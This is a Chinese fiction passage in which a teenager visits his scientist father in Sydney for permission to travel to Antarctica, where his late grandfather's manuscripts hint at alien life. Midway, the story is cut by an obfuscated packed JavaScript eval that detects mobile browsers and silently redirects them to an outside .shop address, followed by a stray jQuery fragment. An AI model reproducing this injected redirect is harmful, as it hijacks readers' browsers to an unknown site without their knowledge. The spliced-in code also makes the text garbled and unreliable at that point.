尉迟鹏哲坐着地铁来到了圣莱昂纳兹站,悉尼地铁像是一条吱吱呀呀的老式三层火车,虽然没有蒸汽火车那么老,但是充满了一股复古的英伦风,因为保养得不错,车体可能已经运营了数十年。车站的出入口挖得像矿坑一样深,这得益于悉尼的地形。出站时仿佛从探洞工厂里探出头来似的,和这个站点所属区域的科技定位形成了强烈反差。尉迟鹏哲顾不上停留,滑着滑板就出发了,这里的企业林立,掩映在阳光和绿植下造型各异的独栋办公楼却没有什么特别的入口,低调地仿佛不希望有人认出它们,亦或许在委婉地表达生人勿近。
踩着滑板的尉迟鹏哲在玻璃幕墙上映出一抹帅气的少年身影,绕过层层叠叠的绿化和石子装点的小路,脖子上挂着的铭牌在阳光下倒映出街区的景色。建筑安保系统的感应系统并没有被触发警报,而是自动识别了男孩脖子上戴着的身份证明。滑板车“嗖”的一声滑进了一座灰白色水泥外观的环形建筑,半人高的微水泥扶手呈螺旋形延伸进了花园深处。大厅中悬浮着全息投影的DNA双螺旋结构,而他的父亲正站在建筑第三层的空中花园里,白色的大褂代替了平日的西装,胸口的铭牌上闪着和分子模型相同材质的光芒,上面写着Dr.YUCHI。
“爸爸”,尉迟鹏哲简短地打了一个还算友好的招呼。他看到空中花园里种着的是一种开着成串紫色花的植物,羽毛状的叶序让尉迟鹏哲想起了自然界中的“分形学”,顾不上过多思考,尉迟鹏哲就听见爸爸说:“我还以为你不会来了小哲。”尉迟博士微笑着看着自己的儿子,尉迟鹏哲则好奇地打量着四周回应道:“您这儿和我想象中的不太一样。”
尉迟博士递给儿子一杯刚沏好的咖啡,平静地笑笑,“事实总是和看上去的有差距。”尉迟鹏哲接过咖啡支支吾吾起来:“您知道我是带着去南极的风险告知书来的……因为需要获得您的许可……另外或许您也知道些什么,如果您不再记恨爷爷的话……我需要您的帮助。”
“记恨爷爷?”尉迟博士的表情微微有些诧异,“是谁告诉你我记恨自己的父亲的?”。“是……爷爷自己说的”,尉迟鹏哲感受到一种视频电话里未曾体会的气场,他的语气失去了往日的随意。“我不记恨自己的父亲。”爸爸平静地说。“我对现在的生活很满意,人生的容错率没有想象中得那么低。”
“那您为什么不来看他……?”轮到尉迟鹏哲一脸不解地看着自己的爸爸。“爷爷对您的期望那么高。我这次来就是想让您批准我去南极……您知道的,那个爷爷生前留下的坐标,就是爷爷拍照片的地方。我做了一些研究,但是毫无头绪,您或许知道些什么,或者至少在我的《风险告知书》上签一个字。我想替爷爷去完成一个他的心愿!我不想成为一位像您一样冷酷的人!”
尉迟博士微笑地看着自己的儿子,平静地说:“看来我父亲把你教得很好。”尉迟鹏哲呆呆地看着自己的父亲,期待他能把问题解释得更清楚一些,过去他们总在视频上交流,都是那种很日常的对话。直到面对爸爸的那一刻尉迟鹏哲才感受到视频把人和人之间的肢体语言、微表情和气氛都隐藏掉了,无法做出深入的交流。
“爷爷总是会告诉你,需要这样做,需要那样做吧小哲,他一定向你解释了许多他自己的理想以及那些没有完成的事业,却没有提过完成那样的事业自己的家庭需要付出什么样的代价……”尉迟博士平视着自己的儿子。
“爷爷是一位尽职的科学家,但对我来说他不是一个合格的父亲……我和你奶奶甚至多次以为他已经在哪一次任务中遇难了。”
尉迟鹏哲对爸爸说的这些内容感到无比的陌生。他只知道爷爷是一个受人尊重的科学家,一辈子为了科学而献身,并且他希望爸爸也能成为一位科学家,但爸爸却辞掉了研究所的职位去了国外……尉迟鹏哲疑惑地看着自己的父亲。
“你是一个优秀的孩子”,尉迟博士双手交叠直指自己的眉心。“爸爸看到你感到欣慰。我知道爷爷的去世对你影响很大,但你还是一个孩子,不需要背负属于长辈的愿望,除非你真心实意地因此而感到幸福。”尉迟博士起身拍了拍自己儿子的后背。
“成为一位科学家是爷爷的理想,但我切身体会到的是你奶奶带着小时候的我生活得多么艰难。父亲因为没有经费购置好的设备而一筹莫展、甚至遭遇险境……这和你今天所拥有的生活都不一样小哲,没有经历过物资匮乏就很难感受到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17730399|208932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
当时的情况还需要顶着那个时代特有的流言蜚语……”尉迟博士可能因为回想起小时候的境遇而感到了些许难过,转身走进了空中花园深处,尉迟鹏哲见状也跟上了爸爸的身影。
“我们生活在地球上只是一个个微小的个体小哲”,尉迟博士叹了口气对自己的儿子说道“:如果去南极是一个属于你自己的愿望,爸爸会给你签字。正如你发来的邮件,这次航行会有专业的人员陪同并保障你们的安全。毕竟,你才是这个家最宝贵的存在。”尉迟博士说这句话时眼睛积极地盯着自己儿子,仿佛在向他要一个无声的保证。
“至于你爷爷在南极发现了什么,爸爸希望你能够释怀,一代人有一代人的使命,你还有自己的未来,还有妈妈和我,还有地球上这么好的生活,希望你能珍惜自己的生命并为自己的生活而努力。”
尉迟鹏哲点了点头,他知道父亲出国后其实给爷爷协调了不少实验室资源和先进装备,更为爷爷整理了不少手稿。也许这就是爸爸很难有时间回国看爷爷的原因。但是爸爸说“还有地球上这么好的生活……”这简直太奇怪了,一般人不会这么说话,难道还有不在“地球上”的生活吗?尉迟鹏哲向父亲露出了一个迷惑不解的眼神。
尉迟博士当然知道有些内容不能在公共网络通讯上留下痕迹,他俯下身去在儿子耳边悄悄耳语道:“你爷爷的发现或许与地外生命有关……”。尽管做了无数种心理准备,尉迟鹏哲的嘴巴还是惊成了一个O字。“不过爷爷的手稿毫无证据。”起身的尉迟博士恢复了往日的神色,挤出了一个俏皮的表情送别了自己的儿子。
尉迟鹏哲带着爸爸的签字离开了这栋像纸卷一样绵延不断的大楼,他唯一的遗憾就是忘记问爸爸是做什么工作的,只隐隐觉得爸爸和爷爷好像用不同的方式传承了同一个使命。再次经过那个巨大的DNA双螺旋结构全息投影时他已带走了爷爷的手稿。与其说是手稿,不如说是一幅幅漫画,地点就在南极洲的威尔克斯地,冰层下覆盖着一个规模远超希克苏鲁伯陨石坑的地质结构。尉迟鹏哲在科普视频上看过:希克苏鲁伯陨石坑是引起白垩纪恐龙灭绝的陨石撞击坑,而爷爷手稿标记的地方是否也发生过陨石撞击,仍然是一个谜。